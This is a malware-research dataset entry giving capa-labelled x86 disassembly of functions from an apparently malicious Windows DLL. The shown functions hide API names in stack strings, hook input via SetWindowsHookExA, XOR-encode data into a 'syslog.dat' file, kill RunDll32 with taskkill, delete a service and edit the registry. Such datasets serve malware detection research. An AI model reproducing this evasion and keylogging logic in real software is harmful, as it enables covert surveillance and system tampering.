joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009bf0
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
sub esp, 0x128
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
mov cl, 0x74
mov byte [esp + 1], al
mov byte [esp + 4], al
mov byte [esp + 0x11], al
mov byte [esp + 0x17], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x12], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x1e], cl
lea eax, [esp + 0x10]
lea ecx, [esp]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 8], 0x6b
mov byte [esp + 0xa], dl
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xe], 0x33
mov byte [esp + 0xf], 0x32
mov byte [esp + 0x10], 0x2e
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x14], 0
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x1b], 0x53
mov byte [esp + 0x1c], 0x79
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x20], 0x6d
mov byte [esp + 0x21], 0x44
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], dl
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], dl
mov byte [esp + 0x29], 0x79
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x24]
push 0x104
push edx
call eax
lea eax, [esp + 0x24]
push str._syslog.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x128
ret
Function at 0x10009ce0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Delete service

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.OpenSCManagerA
push str.ADVAPI32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.Sleep
push str.kernel32.dll
mov ebp, eax
call esi
push eax
call edi
mov ebx, eax
mov al, 0x6c
mov byte [esp + 0x25], al
mov byte [esp + 0x2a], al
mov byte [esp + 0x2b], al
mov al, 0x73
mov cl, 0x65
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x21], cl
mov byte [esp + 0x24], cl
mov byte [esp + 0x1c], cl
lea eax, [esp + 0x14]
lea ecx, [esp + 0x20]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x28], 0x6b
mov byte [esp + 0x2a], dl
mov byte [esp + 0x2b], 0x6e
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x34], 0
mov byte [esp + 0x1c], 0x45
mov byte [esp + 0x1d], 0x78
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], 0x50
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], 0x6f
mov byte [esp + 0x23], 0x63
mov byte [esp + 0x27], 0
call esi
push eax
call edi
push 0
push str.taskkill__f__im_RunDll32.exe
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.10009bf0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
add esp, 4
push 0xf003f
push 0
push 0
call ebp
push 0x30
mov edi, eax
call esi
add esp, 4
push 0x10000
push 0x10021754
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push 0x30
mov ebp, eax
call esi
add esp, 4
push ebp
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push 0x30
call esi
add esp, 4
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call ebp
push 0x30
call esi
add esp, 4
push edi
call ebp
push 1
push 0
push 3
call fcn.10011e40
add esp, 0xc
push 0xa
call ebx
push 0
push 0
push 1
call fcn.10011e40
add esp, 0xc
push 0
call dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x1000a380
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get file size

Disassembly:
sub esp, 0x3c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x1c]
push edi
lea ecx, [esp + 0x2c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x34], 0x6b
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], 0x6c
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], 0x6c
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x74
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x46
mov byte [esp + 0x2f], 0x69
mov byte [esp + 0x30], 0x6c
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x41
mov byte [esp + 0x33], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x3c]
push edx
push eax
mov byte [esp + 0x44], 0x6b
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x6c
mov byte [esp + 0x4a], 0x33
mov byte [esp + 0x4b], 0x32
mov byte [esp + 0x4c], 0x2e
mov byte [esp + 0x4d], 0x64
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x6c
mov byte [esp + 0x50], 0
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0
call esi
push eax
call edi
mov ecx, dword [0x100214bc]
push 0
push 0x80
push 4
push 0
push 2
add ecx, 0xd
push 0x40000000
push ecx
mov ebx, eax
call ebp
mov esi, eax
push 0
push esi
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x1000a4e3
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esp + 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
push ebp
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test ebp, ebp
jle 0x1000a51d
mov ecx, dword [esp + 0x50]
mov dword [esp + 0x50], ebp
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
mov edx, dword [esp + 0x50]
inc eax
dec edx
mov dword [esp + 0x50], edx
jne 0x1000a509
lea eax, [esp + 0x10]
push 0
push eax
push ebp
push edi
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x3c
ret
Function at 0x1000aab0
Capabilities:
Read file via mapping

Disassembly:
mov eax, dword [0x100214cc]
sub esp, 0x28
test eax, eax
jne 0x1000aacc
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x100214cc], eax
push esi
lea ecx, [esp + 0x18]
push edi
mov edi, 0x1001a40c
lea eax, [esp + 0x1c]
push ecx
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0xc
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0
call fcn.1000abd0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esp + 0x10], eax
call esi
mov eax, dword [esp + 0x10]
add esp, 4
neg eax
sbb eax, eax
lea edx, [esp + 0x10]
push str.MyCreateMa
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0x30
mov dword [0x100214c0], eax
call esi
mov eax, dword [0x100214c0]
add esp, 4
test eax, eax
jne 0x1000ab5a
mov eax, dword [esp + 0xc]
mov dword [esp + 8], edi
jmp 0x1000ab92
push 0x30
call esi
mov eax, dword [0x100214c0]
add esp, 4
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0x30
mov dword [0x100214bc], eax
call esi
mov eax, dword [0x100214bc]
add esp, 4
test eax, eax
mov eax, dword [esp + 0xc]
mov dword [esp + 8], edi
jne 0x1000abae
test eax, eax
je 0x1000aba6
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
xor al, al
pop esi
add esp, 0x28
ret
test eax, eax
je 0x1000abc2
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov al, 1
pop esi
add esp, 0x28
ret
Function at 0x1000ad90
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get file attributes

Disassembly:
sub esp, 0x24
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
mov cl, 0x74
push ebx
mov byte [esp + 5], al
mov byte [esp + 8], al
mov byte [esp + 0x15], al
mov byte [esp + 0x1b], al
mov byte [esp + 0x20], al
push ebp
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x26], cl
lea eax, [esp + 0x18]
push esi
lea ecx, [esp + 0xc]
mov dl, 0x72
xor ebx, ebx
push eax
push ecx
mov byte [esp + 0x14], 0x6b
mov byte [esp + 0x16], dl
mov byte [esp + 0x17], 0x6e
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x20], bl
mov byte [esp + 0x24], 0x47
mov byte [esp + 0x27], 0x53
mov byte [esp + 0x28], 0x79
mov byte [esp + 0x29], 0x73
mov byte [esp + 0x2c], 0x6d
mov byte [esp + 0x2d], 0x44
mov byte [esp + 0x2e], 0x69
mov byte [esp + 0x2f], dl
mov byte [esp + 0x31], 0x63
mov byte [esp + 0x33], 0x6f
mov byte [esp + 0x34], dl
mov byte [esp + 0x35], 0x79
mov byte [esp + 0x36], 0x41
mov byte [esp + 0x37], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov esi, eax
call fcn.1000aab0
test al, al
jne 0x1000ae60
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
push edi
mov edi, dword [0x100214bc]
mov ecx, 0x165
xor eax, eax
rep stosd dword es:[edi], eax
mov byte [0x100214b8], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, dword [0x100214bc]
mov dword [0x100214b4], eax
push 0x104
mov dword [edx + 8], ebx
mov eax, dword [0x100214bc]
mov dword [eax + 4], ebx
mov ecx, dword [0x100214bc]
xor eax, eax
mov dword [ecx], ebx
mov edx, dword [0x100214bc]
mov ecx, 0x20
lea edi, [edx + 0x511]
rep stosd dword es:[edi], eax
mov eax, dword [0x100214bc]
add eax, 0xd
push eax
call esi
mov ecx, dword [0x100214bc]
push str._syslog.dat
add ecx, 0xd
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov edx, dword [0x100214cc]
add esp, 4
push str.SetWindowsHookExA
push edx
call ebp
push 0x30
mov edi, eax
call esi
mov eax, dword [0x100214bc]
add esp, 4
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1000af19
mov ecx, dword [0x100214bc]
mov byte [ecx + 0xc], 1
jmp 0x1000af22
mov edx, dword [0x100214bc]
mov byte [edx + 0xc], bl
mov eax, dword [0x100214bc]
cmp dword [eax + 4], ebx
jne 0x1000af46
mov ecx, dword [0x100214c4]
push ebx
push ecx
push 0x1000a6d0
push 3
call edi
mov edx, dword [0x100214bc]
mov dword [edx + 4], eax
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x24
ret
Function at 0x1000b260
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x19], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], cl
mov cl, 0x74
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0xc], al
mov byte [esp + 8], cl
mov byte [esp + 0xe], cl
lea eax, [esp + 4]
push edi
lea ecx, [esp + 0x18]
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x1001a41c
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], dl
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], 0
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x13], 0x61
mov byte [esp + 0x16], 0x45
mov byte [esp + 0x17], 0x76
mov byte [esp + 0x19], dl
mov byte [esp + 0x1b], 0x41
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x2c]
push esi
mov edi, eax
mov dword [esi + 4], ecx
call fcn.10002f60
push 0
push 0
push 1
push 0
call edi
mov dword [esi + 8], eax
mov eax, esi
pop edi
pop esi
add esp, 0x20
ret 4

Function at 0x1000b440
Capabilities:
Create directory
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x100198f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push ebx
push esi
push edi
mov ebx, ecx
push eax
mov dword [esp + 0x10], ebx
call fcn.1000b260
xor eax, eax
mov ecx, 0x41
push eax
mov edi, 0x100214d0
push 5
mov dword [ebx], 0x1001a424
push 0x100214d0
push eax
rep stosd dword es:[edi], eax
mov dword [esp + 0x28], 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edi, str.Plugin
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edx, ecx
mov edi, 0x100214d0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x100214d0
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x100214d0
call dword [sym.imp.MSVCRT.dll_puts]
add esp, 4
lea eax, [esp + 0x20]
mov ecx, ebx
mov byte [esp + 0x20], 0x86
push 1
push eax
call fcn.1000b380
mov ecx, ebx
call fcn.1000b3f0
push 0
push 0
push 0
push ebx
push 0x1000bae0
push 0
push 0
call fcn.10010010
mov ecx, dword [esp + 0x2c]
add esp, 0x1c
mov eax, ebx
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4
Function at 0x1000b560
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x3c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x10]
push edi
lea ecx, [esp + 0x2c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x34], 0x6b
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], 0x6c
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], 0x6c
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x20]
lea eax, [esp + 0x3c]
push edx
push eax
mov byte [esp + 0x44], 0x6b
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x6c
mov byte [esp + 0x4a], 0x33
mov byte [esp + 0x4b], 0x32
mov byte [esp + 0x4c], 0x2e
mov byte [esp + 0x4d], 0x64
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x6c
mov byte [esp + 0x50], 0
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x74
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x46
mov byte [esp + 0x2f], 0x69
mov byte [esp + 0x30], 0x6c
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x41
mov byte [esp + 0x33], 0
call esi
push eax
call edi
mov ecx, dword [esp + 0x58]
xor esi, esi
push esi
push 0x80
push 4
push esi
push 3
push 0x40000000
push ecx
call eax
mov edi, eax
cmp edi, 0xffffffff
jne 0x1000b6a6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x3c
ret
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [esp + 0x54]
mov dword [esp + 0x10], esi
mov ecx, dword [esp + 0x50]
lea edx, [esp + 0x10]
mov eax, ebx
push 0
push edx
sub eax, esi
lea edx, [esi + ecx]
push eax
push edx
push edi
call ebp
add esi, dword [esp + 0x10]
cmp esi, ebx
jb 0x1000b6b9
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x3c
ret
Function at 0x1000c390
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001a440
push 0x10019366
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
push str.RegDeleteKeyA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x1000c3e0
jmp dword [eax*4 + 0x1000c524]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x28]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne case.default.0x1000c3e0
lea ecx, [ebp - 0x28]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x1000c3e0
mov edx, dword [ebp + 0x14]
cmp edx, ebx
jbe case.default.0x1000c3e0
cmp edx, 2
jbe 0x1000c469
cmp edx, 4
jne case.default.0x1000c3e0
push edx
lea ecx, [ebp + 0x1c]
push ecx
push edx
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x1000c3e0
jmp 0x1000c4e9
mov esi, dword [ebp + 0x18]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push edx
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x1000c3e0
jmp 0x1000c4e9
lea eax, [ebp - 0x28]
push eax
push 0x2001f
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x1000c3e0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call esi
test eax, eax
jne case.default.0x1000c3e0
jmp 0x1000c4e9
lea edx, [ebp - 0x28]
push edx
push 0x2001f
push ebx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x1000c3e0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x1000c3e0
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.1000c510
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000c660
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x40
push ebx
push esi
push edi
push str.LocalReAlloc
mov esi, ecx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi + 4]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x14]
xor edi, edi
push eax
push 0xf003f
lea ecx, [esi + 8]
push edi
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000c802
push eax
push eax
lea eax, [esp + 0x38]
lea ecx, [esp + 0x3c]
push eax
lea edx, [esp + 0x44]
push ecx
push edx
mov edx, dword [esp + 0x28]
lea eax, [esp + 0x34]
push edi
lea ecx, [esp + 0x24]
push eax
push ecx
push edi
push edi
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x1000c6dd
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x40
ret
mov eax, dword [esp + 0x20]
lea ebx, [eax + 1]
mov eax, dword [esp + 0xc]
test eax, eax
jbe 0x1000c802
cmp ebx, 1
jbe 0x1000c802
mov esi, ebx
push ebp
imul esi, eax
add esi, 0xe
push esi
push 0x40
mov dword [esp + 0x34], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, esi
mov edx, eax
mov ebp, ecx
xor eax, eax
mov edi, edx
mov dword [esp + 0x20], edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, ebp
push ebx
and ecx, 3
inc edx
rep stosb byte es:[edi], al
mov byte [edx - 1], 0x7e
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x4c]
mov dword [edx], eax
mov al, byte [esp + 0x50]
mov dword [edx + 4], ebx
mov dword [edx + 8], ecx
mov byte [edx + 0xc], al
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebp, eax
mov eax, dword [esp + 0x14]
add esp, 4
mov dword [esp + 0x14], 0
test eax, eax
jbe 0x1000c7df
mov ecx, dword [esp + 0x20]
add ecx, 0xd
mov dword [esp + 0x1c], ecx
mov ecx, ebx
xor eax, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
push 0
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push 0
lea eax, [esp + 0x34]
push 0
push eax
push ebp
push ecx
push edx
mov dword [esp + 0x48], ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
add edx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x14]
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
cmp eax, ecx
mov dword [esp + 0x1c], edx
jb 0x1000c76b
mov esi, dword [esp + 0x2c]
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [esp + 0x1c]
add esp, 4
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [esp + 0x20]
push 0x42
push esi
push edx
call dword [esp + 0x3c]
mov edi, eax
pop ebp
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x40
ret
Function at 0x1000cc20
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [edx + 4]
push esi
push 1
push eax
mov eax, dword [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
ret 8

Function at 0x1000cc60
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [edx + 4]
push esi
push 2
push eax
mov eax, dword [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
ret 8

Function at 0x1000cfe0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x10019998
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, dword [esp + 0x34]
mov dword [esp + 0xc], ecx
push edi
mov al, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.1000ca80
lea ecx, [esi + 1]
add esi, 0xd
mov dword [esp + 0x30], 0
mov dword [esp + 0x38], esi
mov edx, dword [ecx]
mov dword [esp + 0x1c], edx
mov ebx, dword [ecx + 4]
mov ebp, dword [ecx + 8]
test ebp, ebp
jbe 0x1000d0da
test ebx, ebx
jbe 0x1000d082
lea esi, [ebx + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, dword [esp + 0x3c]
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebx
mov edi, edx
mov eax, ecx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000cb40
test eax, eax
je 0x1000d0d1
add dword [esp + 0x38], ebx
lea esi, [ebp + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, dword [esp + 0x3c]
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebp
mov edi, edx
mov eax, ecx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000cba0
test eax, eax
je 0x1000d0d1
mov ecx, dword [esp + 0x10]
call fcn.1000cd50
jmp 0x1000d0da
mov ecx, dword [esp + 0x10]
call fcn.1000cd30
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000cae0
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4